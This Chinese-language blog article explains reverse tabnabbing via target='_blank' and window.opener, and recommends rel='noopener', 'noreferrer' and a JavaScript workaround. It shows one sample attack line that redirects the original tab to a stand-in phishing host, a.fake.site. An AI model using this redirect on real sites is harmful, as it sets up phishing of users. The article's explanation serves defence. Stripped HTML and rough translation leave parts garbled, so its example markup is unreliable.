在网页中使用链接时,如果想让浏览器在新标签页自动打开指定地址,通常的做法是在标签上添加等于“_blank”属性的添加目标。然而,正是这个属性给钓鱼攻击者带来了可乘之机。originparent和opener说opener之前,可以先说说中的parent。我们知道提供了一个父子页面交互的对象叫window.parent,我们可以通过window.parent对象从frame中的页面访问到父页面的窗口。除了在新标签页中打开的页面外,opener与父级相同。对于打开的页面,可以直接使用window.opener访问源页面的window对象。同域和跨域浏览器提供完善的跨域保护。当域名相同时,parent对象和opener对象实际上直接就是上层的window对象;当域名不同时,parent和opener对象被打包为一个全局对象。这个全局对象只提供非常有限的属性访问,少数几个属性中的大部分是不允许访问的(访问会直接抛出DOMException)。在中,提供了一个sandbox属性来控制frame中页面的权限,所以即使是同一个域,也可以控制的安全性。如果你的网站上有一个链接并且使用了target="_blank",一旦用户点击链接进入新标签页,如果新标签页中的页面有恶意代码,你的网站可以被直接导航到一个假网站。此时,如果用户返回到您的选项卡,他们将看到替换后的页面。详细步骤在你的网站https://example.com上有一个链接:Gotoan"evil"website的用户单击链接,在新选项卡中打开网站。本网站可以通过HTTPHeader中的Referer属性判断用户的来源。此外,该网站包含类似于以下的JavaScript代码:consturl=encodeURIComponent('{{header.referer}}');window.opener.location.replace('https://a.fake.site/?'+url);此时用户继续浏览新的标签页,而原网站所在的标签页已经导航到了https://a.fake.site/?https%3A%2F%2Fexample.com%2F.恶意网站https://a.fake.site根据QueryString伪造一个足以欺骗用户的页面并展示(期间还可以进行跳转,使浏览器地址栏更加混乱).用户关闭https://an.evil.site标签页,返回原站点…………回不去了。以上攻击步骤都是在跨域的情况下。在跨域的情况下,opener对象和parent一样受到限制,只提供非常有限的属性访问。为数不多的属性中,大部分是Part也是不允许访问的(访问会直接抛出DOMException)。但是和parent不同的是,opener在跨域的情况下仍然可以调用location.replace方法,而parent不可以。如果是在同域的情况下(比如某个网站的某个页面被植入了恶意代码),情况要比上面的严重得多。防御和链接中的sandbox属性,可以使用以下方法:1、在上述ReferrerPolicy和noreferrer的攻击步骤中,利用了HTTPHeader中的Referer属性。其实可以加在HTTP响应头中。ReferrerPolicyheader确保来源隐私安全。ReferrerPolicy需要通过修改后端代码来实现,在前端也可以通过标签的rel属性指定rel="noreferrer"来保证来源的隐私和安全。转到“邪恶”网站但要小心:即使您限制了referer的传输,仍然无法阻止原始标签被恶意重定向。2.noopener为安全起见,现代浏览器支持在标签的rel属性中指定rel="noopener"。这样opener对象在打开的新标签页中就不能再使用了,设置为null。进入一个“邪恶”网站3.JavaScriptnoopener属性似乎可以解决所有问题,但是。..浏览器兼容性问题...可以看出现在大部分浏览器都兼容rel="noopener"属性。但是,要保护较旧的“现代”浏览器或非常古老的“古代”浏览器甚至“古代”浏览器,noopener属性是不够的。这时,我们只能求助于下面的原生JavaScript。“使用严格”;函数openUrl(url){varnewTab=window.open();newTab.opener=null;newTab.location=url;}推荐首先,网站中的链接,如果使用target="_blank",需要带rel="noopener",建议带rel="noreferrer"。类似这样:进入一个“邪恶”网站当然是跳转到第三方后对于网站来说,SEO权重也建议带上rel="nofollow",所以最后是这样的:进入一个“邪恶”的网站性能最后,让我们谈谈性能。如果网站使用,新打开的标签页的性能会影响当前页面。这时候如果在新打开的页面中执行一个非常大的JavaScript脚本,原来的标签页也会受到影响,就会出现卡顿的现象(当然不会卡)。而如果在链接中加入noopener,此时两个tab页面就不会互相干扰,这样原页面的性能就不会因为新页面而受到影响。文/jinliming2一条对新鲜事物充满好奇的咸鱼/颖生本文已获得作者授权,版权归创宇前端所有。转载本文欢迎注明出处。本文链接:https://knownsec-fed.com/2018...想订阅知道创宇更多分享,请搜索并关注我们微信公众号:知道创宇(KnownsecFED)。欢迎留言讨论,我们会尽量回复。欢迎点赞、收藏、评论、转发、分享和打赏支持我们。提示将全部转给文章作者。谢谢阅读。
你没有注意到的隐患:dangeroustarget=-_blank-and-opener-相关文章